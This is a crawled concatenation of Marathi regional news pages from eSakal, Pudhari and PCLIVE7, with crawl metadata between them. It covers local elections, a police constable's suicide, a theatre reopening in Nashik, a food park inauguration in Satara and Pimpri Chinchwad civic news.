सिंहाच्या डरकाळीने रात्री दोन वाजता जाग आली. माझ्या शेजारी असणाऱ्या सर्वांना उठविले. अगदी हाकेच्या अंतरावर ती डरकाळी होती. आम्ही सर्व तयारीने गेलो होतो, मोठी बॅटरी होती, ती आवाजाच्या दिशेने वळवली. पण त्याचे दर्शन झाले नाही. आवाज मात्र खूप वेळ येत होता. पुढे झोप लागलीच नाही. सिंहाचे दर्शन होईल, अशा आशेने आम्ही सर्वच जण पाहात होतो, पण जंगलच्या राजाने दर्शन दिलेच नाही.\nघरातील स्त्रीविषयी गावकऱ्यांना खूप आदर असतो. देवीचे भक्त असलेले हे गाव आहे. वनलक्ष्मीचे भक्त असलेले गाव. मुलीला लक्ष्मी मानणारे गाव. या गावातल्या मुलींच्या शिक्षणासाठी काही करता येईल\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00395.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/congress-party-candidate-Khalife-won-Rajapura-municipal-president-election/", "date_download": "2018-09-25T16:56:54Z", "digest": "sha1:L5YSCKD6APRD63JX6OOCVD3KTGPJ4CFD", "length": 6704, "nlines": 37, "source_domain": "www.pudhari.news", "title": " राजापूर नगराध्यक्षपदी काँग्रेसचे अ‍ॅड. खलिफे | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › राजापूर नगराध्यक्षपदी काँग्रेसचे अ‍ॅड. खलिफे\nराजापूर नगराध्यक्षपदी काँग्रेसचे अ‍ॅड. खलिफे\nअत्यंत प्रतिष्ठेच्या ठरलेल्या राजापूर नगराध्यक्षपदाच्या निवडणुकीत काँग्रेस आघाडीचे उमेदवार अ‍ॅड. जमीर खलिफे यांनी शिवसेनेचे उमेदवार अभय मेळेकर यांचा 1 हजार 642 मतांनी पराभव केला. या निवडणुकीत अ‍ॅड. खलिफे यांना जवळपास 61 टक्के मते देऊन मतदारांनी प्राधान्य दिले. हायटेक प्रचार यंत्रणा राबविणार्‍या भाजप उमेदवाराचे डिपॉझिट मतदारांनी जप्त करायला लावले.\nसंपूर्ण जिल्ह्याचे लक्ष लागून राहिलेल्या राजापूर नगरपरिषदेच्या नगराध्यक्षपदाच्या पोटनिवडणुकीचा निकाल सोमवारी लागला. येथील नगरपरिषद इमारतीच्या बॅ. नाथ पै सभागृहात सकाळी 10 वाजता मतमोजणीला प्रारंभ झाला.\nउपविभागीय अधिकारी अभय करंगुटकर हे निवडणूक निर्णय अधिकारी म्हणून तर तहसीलदार प्रतिभा वराळे या सहाय्यक निर्णय अधिकारी म्हणून उपस्थित होत्या. एकूण 8 फेर्‍यांमध्ये मतमोजणी पार पडली. त्यामध्ये शिवसेनेचे अभय मेळेकर यांना पहिल्या व तिसर्‍या फेरीमध्ये आघाडी घेता आली तर काँग्रेस आघाडीचे उमेदवार अ‍ॅड. जमीर खलिफे यांना उर्वरित सहा फेर्‍यांमध्ये आघाडी मिळाली.रविवारी एकूण 7 हजार 551पैकी 5 हजार 141 मतदारांनी मतदान केले होते. त्यामध्ये काँग्रेस आघाडीचे उमेदवार अ‍ॅड. खलिफे यांना 3 हजार 150, शिवसेनेचे अभय मेळेकर यांना 1 हजार 508व भाजपचे गोविंद चव्हाण यांना 422 मते मिळाली. 61 मतदारांनी ‘नोटा’ चा वापर केला. या निवडणुकीत काँग्रेस आघाडीच्या उमेदवाराचे गतवेळेपेक्षा मतदान वाढले. तर स्वतंत्र लढलेल्या शिवसेना, भाजप उमेदवारांना गतवेळी नगराध्यक्षपदाच्या निवडणुकीत जेवढी मते मिळाली होती, तेवढा आकडाही गाठता आला नाही.भाजप उमेदवाराला आपले डिपॉझिटदेखील वाचविता आले नाही.\nविजयानंतर आघाडीच्या उमेदवारांनी जवाहर चौकात फटाक्यांची आतषबाजी केली. त्यानंतर नूतन लोकनियुक्‍त नगराध्यक्ष अ‍ॅड. जमीर खलिफे यांनी तेथील शिवपुतळ्याला पुष्पहार अर्पण केला. अ‍ॅड.जमीर खलीफे मंगळवार दि. 17 जुलैला पदभार स्वीकारणार आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00395.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Marathwada/hingoli-police-constable-suicide/", "date_download": "2018-09-25T16:51:22Z", "digest": "sha1:Q6FK247FOHHBGJMSPAZHPTLFCZLCQVG7", "length": 4127, "nlines": 39, "source_domain": "www.pudhari.news", "title": " लग्नाच्या तोंडावर पोलिसाची आत्महत्या | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Marathwada › लग्नाच्या तोंडावर पोलिसाची आत्महत्या\nलग्नाच्या तोंडावर पोलिसाची आत्महत्या\nहिंगोली पोलिस मुख्यालयात कार्यरत असलेल्या २२ वर्षीय पोलिस कर्मचारी सोपान गणेशराव लिंबेकर याने शुक्रवारी रात्री ८ च्या सुमारास कळमकोंडा येथील आपल्या शेतातील लिंबाच्या झाडाला गळफास घेऊन आत्महत्या केली. आत्महत्येचे कारण अद्याप समजू शकले नाही.\nमयत सोपान याचे १४ मार्च रोजी लग्न होणार होते. त्यापूर्वीच त्याने आत्महत्या केल्याने खळबळ उडाली आहे. लग्न अवघ्या चार दिवसांवर आले असताना त्याने आत्महत्या केल्याने परिसरात हळहळ व्यक्त केली जात आहे. याप्रकरणी पोलीस ठाण्यात अकस्मात मृत्यूची नोंद करण्यात आली आहे.\nराज्याच्या बजेटमध्ये कोणत्या क्षेत्राला काय\nफोनच्या बॅटरीसंदर्भातील ‘या’ गोष्टी खोट्या \n...अन् छिंदम प्रकरणी पोलिसही आले बुरख्यात\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00395.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/Kalidas-Kalamandir-Independence-Day-celebrations/", "date_download": "2018-09-25T16:53:24Z", "digest": "sha1:QTLCZHJXSB2NJL5JNHUTFH6HUT2VX2FL", "length": 6845, "nlines": 36, "source_domain": "www.pudhari.news", "title": " कालिदास कलामंदिराचे स्वातंत्र्यदिनी लोकार्पण | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › कालिदास कलामंदिराचे स्वातंत्र्यदिनी लोकार्पण\nकालिदास कलामंदिराचे स्वातंत्र्यदिनी लोकार्पण\nनूतनीकरण होऊनही गेल्या काही दिवसांपासून लोकार्पणाच्या प्रतीक्षेत असलेले महाकवी कालिदास कलामंदिर अखेर स्वातंत्र्यदिनी (दि. 15) खुले होणार आहे. पालकमंत्री गिरीश महाजन यांच्या हस्ते नाट्यगृहाचे लोकार्पण होणार असून, शहरातील रसिकांची प्रतीक्षा संपुष्टात येणार आहे.\nबुधवारी (दि. 15) सकाळी 11 वाजता कालिदास कलामंदिरात हा कार्यक्रम होणार आहे. शहराच्या सांस्कृतिक घडामोडींचा केंद्रबिंदू असलेेल्या कालिदास कलामंदिराची प्रचंड दुरवस्था झाल्यानंतर अखेर गेल्या वर्षी त्याच्या नूतनीकरणाचे काम सुरू करण्यात आले. स्मार्ट सिटी उपक्रमाअंतर्गत सुमारे सव्वानऊ कोटींचा निधी त्यासाठी मंजूर करण्यात आला. सुमारे वर्षभरानंतर नूतनीकरणाचे काम पूर्ण झाले खरे. मात्र, त्याचे उद्घाटन होत नसल्याने यासंदर्भातील संभ्रम वाढला होता.\nकाम पूर्ण होऊनही उद्घाटनाचे घोडे नेमके कशासाठी अडले, असा सवाल कलावंतांमधून उपस्थित केला जात होता. गेल्या महिन्यात महापालिका आयुक्‍त तुकाराम मुंढे यांनी नाट्यगृहात शिक्षकांची कार्यशाळा घेऊन नव्या सुविधांची चाचपणीही केली होती. त्यानंतर तरी नाट्यगृहाचे उद्घाटन होईल, अशी कलावंतांना अपेक्षा होती. मात्र, त्यावर अनेक दिवस उलटूनही नाट्यगृहाच्या उद्घाटनाची चिन्हे दिसत नसल्याने शहरातील कलावंत व रसिकांमध्ये अस्वस्थता निर्माण झाली होती. शहरात व्यावसायिक नाटकांचे प्रयोग जवळपास थांबल्याने नाट्यरसिक नाटकांपासून वंचित राहत होते. मुख्यमंत्री देवेंद्र फडणवीस यांच्या हस्ते ‘कालिदास’चे उद्घाटन दिमाखात व्हावे, अशी राजकीय मंडळींची इच्छा असून, मुख्यमंत्री व्यस्त असल्याने नाट्यगृहाचे उद्घाटन खोळंबले असल्याची चर्चा होती. मात्र, आता स्वातंत्र्यदिनी पालकमंत्र्यांच्या हस्तेच कलामंदिराचे उद्घाटन होणार असल्याचे सूत्रांकडून कळते. पालकमंत्री ध्वजवंदन सोहळ्यासाठी नाशिकला येणार असल्याने याच दिवशी ‘कालिदास’च्या लोकार्पणाचा कार्यक्रम ठेवल्याचे सूत्रांकडून सांगण्यात आले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00395.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/Inauguration-of-Mega-Food-Park-in-satara/", "date_download": "2018-09-25T17:36:33Z", "digest": "sha1:5WB22K4FUDQ6CUCWTONHEZXRSDA5AQCB", "length": 14576, "nlines": 42, "source_domain": "www.pudhari.news", "title": " कोल्ड स्टोअरेजला सवलतीत वीज : मुख्यमंत्री | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › कोल्ड स्टोअरेजला सवलतीत वीज : मुख्यमंत्री\nकोल्ड स्टोअरेजला सवलतीत वीज : मुख्यमंत्री\nशेतीमालासाठी असलेल्या कोल्ड स्टोअरेजला सवलतीच्या दरात वीज देण्यासाठी प्रयत्न सुरू केला आहे. यासाठी सौर उर्जेचा वापर करण्यात येणार आहे. ५०० मेगावॅट सौर उर्जा तयार करण्यासाठी राज्य सरकारने टेंडर मागवले आहे. त्या माध्यमातून राज्यातील कोल्ड स्टोअरेजला कमी दरात वीज देता येईल, असे प्रतिपादन राज्याचे मुख्यमंत्री ना. देवेंद्र फडणवीस यांनी केले. दरम्यान, बीव्हीजीने साकारलेल्या राज्यातील पहिल्या मेगा फुड पार्कचे उद्घाटन सातार्‍यात झाले.\nयावेळी केंद्रीय अन्न प्रक्रिया मंत्री हरसिमरत कौर बादल, राष्ट्रवादी कॉग्रेसचे अध्यक्ष, खासदार शरद पवार, खासदार छत्रपती उदयनराजे भोसले, खासदार संजय काका पाटील, आमदार शिवेंद्रराजे भोसले, आमदार शशिकांत शिंदे, विभागीय आयुक्त चंद्रकांत दळवी, जिल्हाधिकारी श्वेता सिंघल, जिल्हा पोलिस प्रमुख संदीप पाटील, मुख्य कार्यकारी अधिकारी डॉ. कैलास शिंदे, बीव्हीजीचे संस्थापक हणमंतराव गायकवाड उपाध्यक्ष उमेश माने यांच्यासह मान्यवर उपस्थित होते.\nना. फडणवीस म्हणाले, सातारा मेगा फुड पार्कमुळे शेती व फलोत्पादनाचे क्षेत्र बदलेल. शेतमालाची योग्य साठवणूक होत नसल्याने शेतकर्‍यांचे नुकसान होते. तसेच योग्य भाव मिळत नसल्याने उत्पादन खर्चही निघत नाही. मात्र, या फुड पार्कमुळे शेतमालावर प्रक्रिया होणार असल्याने शेतकर्‍यांचा फायदा होणार आहे. शेतीमध्ये मोठ्या प्रमाणावर गुंतवणूक होत आहे. किसान संपदा योजनेतून शेती क्षेत्रातील सर्व उणीवा भरून निघाल्या आहेत. तसेच ज्या गोष्टी सुटल्या आहेत त्याला पूरक अशी योजना राज्य सरकारने तयार केली आहे. हणमंत गायकवाड यांनी नॅनो टेक्नोलॉजीचा वापर करून शेतकर्‍यांचे उत्पन्न दुप्पट करण्यासाठी मदत केली आहे. यामुळे जैविक पध्दतीने उत्पादन वाढत आहे. शेतीवरील संकटे दूर करण्यासाठी तंत्रज्ञान आणावे लागेल, असेही ते म्हणाले.\nकेंद्रीय अन्न प्रक्रिया मंत्री हरसिमरत कौर बादल म्हणाल्या, पंतप्रधान नरेंद्र मोदी यांनी शेतकर्‍यांचे उत्पन्न दुप्पट करण्यासाठी विविध योजना अमलात आणल्या आहेत. त्याचाच सातारा मेगा फूड पार्क हा एक घटक आहे. या फुड पार्कमुळे परिसरातील 25 हजार शेतकर्‍यांच्या उत्पादनाला चांगली किंमत मिळणार आहे. यामुळे पंतप्रधानांचे शेतकर्‍यांचे उत्पन्न दुप्पट करण्याचे स्वप्न साकार होणार आहे. खा. शरद पवार हे कृषीमंत्री असताना फुड पार्कची संकल्पना अमलात आणली गेली होती. या क्षेत्रात आतापर्यंत तब्बल 1 लाख कोटी रूपयांची विदेशी गुंतवणूक झाली आहे. देशातील इतर राज्यांपेक्षा महाराष्ट्रात अन्न प्रक्रिया उद्योगांबाबत सकारत्मकता दिसून येत आहे. देशात कोट्यवधी रूपयांच्या अन्न धान्याची नासाडी होते. यामुळे अन्नधान्याची कमतरता होत असल्याने महागाई वाढते. या उद्योगामुळे महागाई आटोक्यात येईल.\nखासदार शरद पवार म्हणाले, राज्यातील पहिला फुडपार्कचा प्रकल्प सातार्‍यातून सुरू होत आहे. बीव्हीजीच्या कामाच्या दर्जामुळेच हणमंतराव गायकवाड यांच्याकडे महत्वाची कामे देण्यात आली आहेत. देशात प्रतिवर्ष 50 हजार कोटी रूपयांचे अन्नधान्याचे नुकसान होते. त्यामुळे अन्न धान्य साठवणूकीसाठी स्वतंत्र विभाग करण्यात आला आहे. जगाच्या बाजारपेठेचा विचार करूनच फुड पार्क ही संकल्पना आणली. सरकारने शेतकर्‍यांच्या मालाची योग्य साठवणूक व्हावी यासाठी पायाभूत सुविधा करणे आवश्यक आहे. सातार्‍यात फुड पार्क झाल्याची माहिती बाहेर गेल्यानंतर या ठिकाणी गुंतवणूक वाढून रोजगार उपलब्ध होतील. राज्यामध्ये कोल्ड स्टोरेजसाठी वीजेचे दर जास्त आहेत. त्याबाबत सरकारने सवलतीत वीज देण्याबाबत विचार करणे आवश्यक आहे.\nप्रास्ताविकात हणमंतराव गायकवाड म्हणाले, शेतमालावर प्रक्रिया होत नसल्याने हे फुडपार्क तयार केले आहे. या उद्योगासाठी सातारा हे ठिकाण चांगले आहे. बीव्हीजीने तयार केलेल्या हर्बल नॅनो टेक्नॉलॉजीमुळे उत्पादनामध्ये 200 टक्क्यांनी वाढ झाली आहे. सातार्‍याचा फूड पार्क हे वेगळे असून यामध्ये सर्व उद्योगांचा समावेश आहे. येथे येणार्‍या उद्योजकांना केवळ जागाच नव्हे तर कच्चा माल आणि प्रक्रिया पूर्ण करण्यासाठी सर्व ते सहकार्य केले जाईल.\nप्रारंभी मेगा फुड पार्कचे उद्घाटन झाल्यानंतर बीव्हीजीच्यावतीने हणमंतराव गायकवाड, वैशाली गायकवाड, उमेश माने, मोहिनी माने यांनी स्वागत केले.\nहणमंतराव मानलं तुम्हाला : खा. पवार\nशरद पवार यांनी आपल्या भाषणात हणमंतराव गायकवाड यांचे तुफान कौतुक केले. ते म्हणाले, देशाच्या संसद भवनाचीही जबाबदारी हणमंतरावांकडे आहे. राष्ट्रपती भवनाची जबाबदारी हणमंतरावांकडेच आहे. एवढेच कायं जिथे कुणाला एन्ट्री मिळत नाही. त्या पंतप्रधान नरेंद्र मोदी यांच्या घराची जबाबदारीही हणमंतरावांकडेच आहे. मानलं रावं तुम्हाला हा गडी कुठे घुसेल याचा नेम नाही त्याच वेळी हणमंतरावांनी आपल्या प्रास्ताविकात सांगितले की, खासदार उदयनराजे व आमदार शिवेंद्रराजे यांच्या सहकार्याने हा प्रकल्प पूर्ण होत आहे. या दोघांचे सहकार्य ज्याला मिळाले तो नशिबवानच म्हणायचा. त्यामुळे तुम्हाला खरोखरच मानले पाहिजे, असा टोलाही शरद पवार यांनी लगावला.\nसातार्‍यातून उद्योगधंदे बाहेर जात आहेत. सातारा परिसरातील एमआयडीसीतील कारखाने का टिकत नाही. याच्या कारणावर आता मी बोलत नाही. ते सर्व माझ्या कानावर आहे. शेतकर्‍यांसाठी उभारलेला हा प्रकल्प टिकण्यासाठी वाढण्यासाठी सर्वांनी सहकार्य करावे. दोन्ही राजांनीही सहकार्य करण्याची गरज आहे. असा टोलाही शरद पवार यांनी लगावला. त्याचवेळी हणमंतराव काळजी घ्या असे सांगायलाही ते विसरले नाहीत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00395.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/Vitthal-Rao-Shinde-factory-to-crush-entire-sugarcane-this-season-said-mla-Shinde/", "date_download": "2018-09-25T16:55:00Z", "digest": "sha1:KHIK66QGVJ377JGXZ2QSAI3RIXI6SOBM", "length": 7686, "nlines": 38, "source_domain": "www.pudhari.news", "title": " विठ्ठलराव शिंदे कारखाना संपूर्ण उसाचे गाळप करणार : आ. शिंदे | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › विठ्ठलराव शिंदे कारखाना संपूर्ण उसाचे गाळप करणार : आ. शिंदे\nविठ्ठलराव शिंदे कारखाना संपूर्ण उसाचे गाळप करणार : आ. शिंदे\nविठ्ठलराव शिंदे सहकारी साखर कारखाना कार्यक्षेत्रातील संपूर्ण उसाचे गाळप करणार असून शेतकरी सभासदांनी नोंदविलेला ऊस इतरत्र न देता विठ्ठलराव शिंदे सहकारी साखर कारखान्यास देऊन सहकार्य करावे, असे आवाहन कारखान्याचे संस्थापक अध्यक्ष आ. बबनराव शिंदे यांनी पत्रकार परिषदेत केले आहे.\nविठ्ठलराव शिंदे सहकारी साखर कारखाना येथे झालेल्या पत्रकार परिषदेत बोलताना आ. बबनराव शिंदे म्हणाले की, यंदा ऊस मुबलक होता. तरीही गाळपाचे योग्य नियोजन केल्याने ऊस गाळप आटोक्यात आले असून विठ्ठलराव शिंदे साखर कारखान्याकडे नोंद केलेल्या संपूर्ण उसाचे कारखाना गाळप करणार आहे. यामुळे कार्यक्षेत्रातील सर्व सभासद शेतकर्‍यांनी बाहेरच्या कारखान्यास देऊ नये अथवा ऊस गाळीताची अजिबात काळजी करू नये, असे म्हटले आहे. कार्यक्षेत्रातील संपूर्ण उसाचे गाळप करूनच कारखाना बंद होईल.\nविठ्ठलराव शिंदे कारखान्याने गळीतास आलेल्या सर्व उसाचे जानेवारी अखेरपर्यंतचे पेमेंट शेतकर्‍यांच्या बँक खात्यावर जमा केले आहे तसेच सर्व कामगारांचे दरमहा वेळेवर पेमेंट दिले जात असून कामगारांच्या वेतन वाढीतील 16 टक्के फरकाची रक्कम एकरकमी कामगारांच्या बँक खात्यावर जमा केली आहे.\n14 दिवसांच्या आत शेतकर्‍यांचे सर्व पेमेंट देणारा, तोडणी व वाहतूकदारांची नियमित देणी देणारा व कामगारांना दरमहा वेळेवर वेतन देणारा विठ्ठलराव शिंदे कारखाना हा जिल्ह्यातील एकमेव कारखाना असून राज्यातील काही मोजक्या कारखान्यांपैकी एक कारखाना असल्याचेही आ. बबनराव शिंदे यांनी पत्रकार परिषदेत सांगितले.\nतसेच कार्यक्षेत्रातील सभासदांच्या व बिगर सभासदांच्या संपूर्ण उसाचे गाळप झाल्याशिवाय कारखाना बंद करणार नाही असे ठामपणे सांगून सर्व ऊस उत्पादक शेतकर्‍यांनी विठ्ठलराव शिंदे कारखान्यास ऊस देऊन सहकार्य करावे, असे आवाहनही शेवटी आ. बबनराव शिंदे यांनी केले.\nया पत्रकार परिषदेस कारखान्याचे संचालक बबनराव पाटील, प्रभाकर कुटे, रमेश येवले-पाटील, शिवाजी डोके, लक्ष्मण खुपसे, वेताळा जाधव, कार्यकारी संचालक आर.एस. रणवरे, सचिव सुहास यादव, चीफ अकाऊटंट बी. एन. जगदाळे, वर्क्स मॅनेजर सी.एस. भोगडे, मुख्य रसायनी पी. एस. येलपले, मुख्य शेती अधिकारी एस. पी. थिटे, मुख्य ऊस विकास अधिकारी एम. आर. भादुले, डिस्टिलरी मॅनेजर पी. व्ही. बागल, शेती अधिकारी एस.एस. बंडगर आदी उपस्थित होते.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00395.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/tag/%E0%A4%B5%E0%A4%BF%E0%A4%B0%E0%A5%8B%E0%A4%A7%E0%A5%80-%E0%A4%AA%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A4%A8%E0%A5%87%E0%A4%A4%E0%A4%BE/", "date_download": "2018-09-25T17:59:17Z", "digest": "sha1:7UEXPNZQ3JZWBXB2G2A2FJOKQ63JTBHN", "length": 7784, "nlines": 84, "source_domain": "pclive7.com", "title": "विरोधी पक्षनेता | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nगणेश मंडळांना बक्षिस वितरण करा, अन्यथा महापालिकेत ‘ढोल वादन’ आंदोलन – दत्ता साने\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड महापालिकेच्या वतीने गेल्या वर्षी घेतलेल्या गणेशोत्सवातील सार्वजनिक गणेश मंडळाच्या देखावा स्पर्धेचे बक्षीस वितरण अद्याप झालेले नाही. खडलेले बक्षीस वितरण द...\tRead more\n‘सेल्फी विथ खड्डा, फोटो पाठवा १०० रुपये मिळवा’; राष्ट्रवादी काँग्रेसचा उपक्रम\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड शहरातील रस्त्यांची अक्षरश: चाळण झाली आहे. मोठ्या प्रमाणात खड्डे पडले आहेत. याचा नागरिकांना मोठ्या प्रमाणात त्रास होत असून सत्ताधारी भाजप शहरवासियांच्या ज...\tRead more\nपिंपरी पालिका सभागृहात राष्ट्रवादीचा ‘आवाज’ घुमलाच नाही…\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड महापालिकेच्या सर्वसाधारण सभेत विरोधी पक्षनेते दत्ता साने यांनी स्वत:चा खाजगी स्पिकर आणला होता. मात्र महापौर नितीन काळजे यांनी हा स्पिकर सभागृहात ठेवण्यास...\tRead more\nभाजप पदाधिकाऱ्यांचे ‘खिसे’ भरून देण्याचे काम आयुक्तांनी केले; वर्षभरातला भ्रष्टाचार बाहेर काढणार – दत्ता साने\nपिंपरी 